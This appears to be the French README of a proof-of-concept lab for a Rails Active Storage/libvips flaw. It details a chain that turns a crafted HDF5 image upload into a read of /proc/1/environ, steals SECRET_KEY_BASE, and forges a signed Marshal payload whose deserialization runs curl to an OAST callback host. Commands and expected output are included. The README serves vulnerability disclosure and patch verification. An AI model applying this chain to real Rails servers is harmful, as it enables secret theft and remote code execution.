
PoC pour CVE-2026-66066 dans Ruby on Rails
# PoC pour CVE-2026-66066 - Laboratoire minimal stock Rails/libvips
Ce dépôt reproduit la chaîne de lecture-de-fichier-vers-RCE d'Active Storage de Rails décrite par
[GHSA-xr9x-r78c-5hrm](https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm)
contre Rails 8.1.3, la version affectée la plus récente de la branche Rails 8.1. Rails 8.1.3.1 est
le témoin corrigé.
Utilisez-le uniquement dans le laboratoire local jetable décrit ici. Le pilote HTTP
refuse les cibles non-loopback (bien qu'il soit trivial de modifier le code Python pour des tests autorisés contre d'autres cibles).
## Frontière stricte cible/attaquant
La cible est une application Rails conventionnelle. Son image finale contient :
- l'image Docker officielle épinglée `ruby:3.4.10-slim` ;
- une application générée par `rails _VERSION_ new` ;
- les paquets d'exécution générés par Rails `curl`, `libjemalloc2`, `libvips`,
et `sqlite3` ;
- l'entrypoint généré par Rails et la commande par défaut
`./bin/thrust ./bin/rails server` ; et
- un modèle `Upload` normal avec une seule pièce jointe Active Storage, des
actions HTML ordinaires `new`, `create`, et `show`, et une variante d'image PNG.
Elle ne contient pas de constructeur d'artefact, d'artefact de téléversement, de pilote d'exploitation,
de constructeur Marshal, de code de rappel, de point de terminaison de diagnostic, de trace de chargeur,
de script de démarrage personnalisé, de fixture de secret cible, ni de route réservée à l'exploitation. Elle ne définit pas
`VIPS_TRACE`, ne réordonne pas l'environnement du processus, ne remplace pas le sérialiseur Active Storage,
ni ne configure un processeur d'image non par défaut.
Le `.dockerignore` racine n'envoie que `Dockerfile` et `overlay/` à la construction.
Les scripts Python côté hôte et tous les artefacts générés sont exclus du
contexte de construction Docker, et pas simplement omis de l'étape de copie finale.
L'overlay complet de la cible est constitué de cinq fichiers ordinaires :
```text
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb
```
La page d'affichage utilise la transformation normale minimale :
```erb
<%= image_tag @upload.avatar.variant(format: :png) %>
```
Une nouvelle application Rails non modifiée n'a aucun modèle ni page d'application qui
accepte une pièce jointe, donc ces cinq fichiers sont la fonctionnalité applicative minimale
nécessaire pour représenter la condition de téléversement d'image non fiable de l'avis de sécurité.
## Construire et exécuter la cible vulnérable
Les prérequis sont Docker, OpenSSL, Python 3, et `h5py` pour le
constructeur d'artefact.
Dans le terminal 1 :
```sh
./run_lab.sh 8.1.3
```
Le script construit `minimal-rails-vips:8.1.3`, génère un
`SECRET_KEY_BASE` éphémère sauf s'il en est déjà fourni un, publie l'application
uniquement sur `127.0.0.1:3000`, et exécute l'entrypoint généré de l'image et la
commande par défaut. Aucun répertoire source ni artefact n'est monté dans la cible.
Si le port 3000 est déjà occupé, choisissez un autre port loopback sans
modifier l'image :
```sh
HOST_PORT=33020 ./run_lab.sh 8.1.3
```
Utilisez le même port dans le `--target` du pilote.
## Exécuter le constructeur et pilote combinés
Dans le terminal 2 :
```sh
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://VOTRE-DOMAINE-OAST.example/callback
```
`rails_vips_oast_poc.py` est un constructeur et pilote HTTP à usage unique. Sauf
si `--artifact` est fourni, il construit le téléversement dans un répertoire temporaire privé,
le conserve pour la séquence complète de requêtes, et le supprime à la
sortie du processus. Il construit les deux étapes plutôt que de dépaqueter une charge utile
statique :
1. Il demande à `h5py` de créer un fichier MATLAB/HDF5 avec un bloc utilisateur de 512 octets.
2. Il crée un jeu de données `uint8` petit-boutiste de `1 × 1024` nommé `environment`.
3. Le jeu de données utilise un stockage externe HDF5 adossé à `/proc/1/environ`, décalage
zéro, avec une étendue bornée de 1 024 octets.
4. Il ajoute `MATLAB_class="uint8"` et écrit l'en-tête `MATLAB 5.0` utilisé par
le renifleur `matload` de libvips.
5. Son écrivain minimal Ruby Marshal 4.8 construit le graphe de variation non signé complet
hors limites.
6. Il ajoute une fin de fichier vérifiée par intégrité contenant ce graphe sérialisé
et un petit manifeste avec l'URL OAST et le nonce de corrélation.
Le programme RCE intégré est fixé à `/usr/bin/curl` avec un
tableau d'arguments structuré. Il effectue un GET vers l'URL OAST configurée et envoie uniquement
le jeton de corrélation aléatoire `rails_ghsa_xr9x`. Il n'utilise pas de shell et
n'inclut pas de secrets récupérés, de sortie de commande, de contenu de fichier, ni
d'identifiant de cible dans le rappel.
Les paramètres de l'artefact sont :
- `--external-path` : fichier absolu côté cible, par défaut `/proc/1/environ` ;
- `--bytes` : étendue externe bornée de 128 à 4096, par défaut 1024 ;
- `--oast` : URL de base du rappel intégrée dans la charge utile ; et
- `--nonce` : nonce hexadécimal facultatif de 16 octets pour un artefact reproductible.
L'URL OAST par défaut est sûre pour loopback. Fournissez une URL de récepteur accessible depuis
le conteneur pour la vérification de bout en bout.
Pour conserver le téléversement généré à des fins d'inspection ou de réutilisation, ajoutez un chemin d'artefact :
```sh
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://VOTRE-DOMAINE-OAST.example/callback \
--artifact environment-read.bmp
```
Un `--artifact` existant est validé et réutilisé. Dans ce cas, `--oast`, s'il est
fourni, doit correspondre à son URL de rappel intégrée. Ajoutez `--force` pour reconstruire et
le remplacer atomiquement avec les paramètres actuels du constructeur.
Pour la création d'artefact sans aucune requête HTTP, le constructeur compagnon est
toujours disponible :
```sh
python3 build_upload_artifact.py \
--output environment-read.bmp \
--oast https://VOTRE-DOMAINE-OAST.example/callback
```
`--target` est par défaut `http://127.0.0.1:3000` et est restreint à un
loopback littéral ou `localhost`.
La sortie vulnérable attendue comprend :
```text
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER
```
Faites correspondre `oast_nonce` dans le terminal avec le
paramètre de requête `rails_ghsa_xr9x=<nonce>` reçu par le service OAST. Le
HTTP 500 de la requête de représentation finale est attendu : le rappel
se produit pendant la reconstruction du Hash Marshal authentifié, avant que la
transformation globale n'échoue ensuite.
## Ce que fait le pilote
La partie constructeur nécessite `h5py` ; les parties HTTP et cryptographiques utilisent uniquement
la bibliothèque standard de Python :
1. Il construit et valide l'artefact de téléversement complet et le
graphe Marshal non signé intégré.
2. Il téléverse un PNG sûr via le formulaire HTML multipart ordinaire de l'application,
suit la redirection normale, et extrait l'URL de
représentation de son élément ``.
3. Il utilise le point de terminaison de téléversement direct Active Storage intégré de Rails pour créer un
blob non attaché déclaré comme `image/bmp`, puis téléverse les octets
construits.
4. Il combine l'ID signé valide de ce blob avec la clé de variation normale de
l'image sûre et demande la représentation.
5. La libvips Debian stock sélectionne l'opération `matload` non fuzzée. Le PNG
renvoyé expose les octets du jeu de données externe, y compris le
`SECRET_KEY_BASE` d'exécution.
6. Le pilote dérive la clé de vérificateur `ActiveStorage` ordinaire, lit la
charge utile Marshal déjà construite depuis l'artefact, la signe pour la
finalité `variation`, et demande l'URL de représentation résultante.
7. La désérialisation invoque la charge utile `/usr/bin/curl` intégrée et produit
le rappel OOB aveugle.
La cible ne contribue aucun point de terminaison d'assistance ni gadget de signature. Les classes Ruby
utilisées par le graphe sérialisé proviennent de dépendances déjà résolues par un
Gemfile `rails new` stock ; l'application ne les requiert ni ne les configure.
Le traitement d'image reste sur le processeur `:vips` par défaut de Rails tout au long.
## Différentiel corrigé
Arrêtez le terminal 1 avec Ctrl-C, puis exécutez :
```sh
./run_lab.sh 8.1.3.1
```
Relancez la même commande de pilote combiné. Si un artefact a été conservé, il peut
être réutilisé en passant le même chemin `--artifact`. Le résultat corrigé devrait
s'arrêter à :
```text
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=500
```
Aucun pixel d'environnement n'est renvoyé, la charge utile intégrée n'est jamais signée ni
soumise, et aucun rappel OAST ne se produit. Active Storage 8.1.3.1 active
le bloc d'opérations non fiables de libvips, donc `matload` est rejeté.
## Vérifier que l'image cible est propre
La configuration d'exécution finale devrait être celle générée :
```sh
docker image inspect minimal-rails-vips:8.1.3 \
--format 'entrypoint={{json .Config.Entrypoint}} cmd={{json .Config.Cmd}} user={{json .Config.User}}'
```
Attendu :
```text
entrypoint=["/rails/bin/docker-entrypoint"] cmd=["./bin/thrust","./bin/rails","server"] user="1000:1000"
```
Inspectez le seul script et confirmez que les fichiers du PoC sont absents :
```sh
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
find /rails/script -maxdepth 2 -type f -print
test ! -e /rails/payloads
test ! -e /rails/payload_builder.c
test ! -e /rails/config/master.key
'
```
La seule entrée de script est le `/rails/script/.keep` créé par le générateur.
Les outils de construction et les CLI d'image optionnels restent également hors de l'exécution :
```sh
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
for tool in gcc h5cc vips vipsheader convert magick tesseract; do
command -v "$tool" >/dev/null 2>&1 && echo "unexpected: $tool"
done
'
```
`libvips` est présent comme bibliothèque d'exécution partagée même si ses outils CLI ne sont
pas installés. Le graphe de dépendances stock de Debian fournit le support de format MAT/HDF5 lié.
## Fichiers
- `Dockerfile` génère et empaquette la cible stock minimale.
- `.dockerignore` empêche les fichiers côté attaquant d'entrer dans le contexte
de construction.
- `overlay/` contient uniquement les cinq fichiers d'application Rails normaux.
- `run_lab.sh` construit et lance la cible sans exécuter le PoC.
- `rails_vips_oast_poc.py` construit l'image de lecture de fichier HDF5 et la charge utile
OOB configurable, pilote le flux HTTP normal, récupère le secret du vérificateur,
signe la charge utile intégrée, et la déclenche.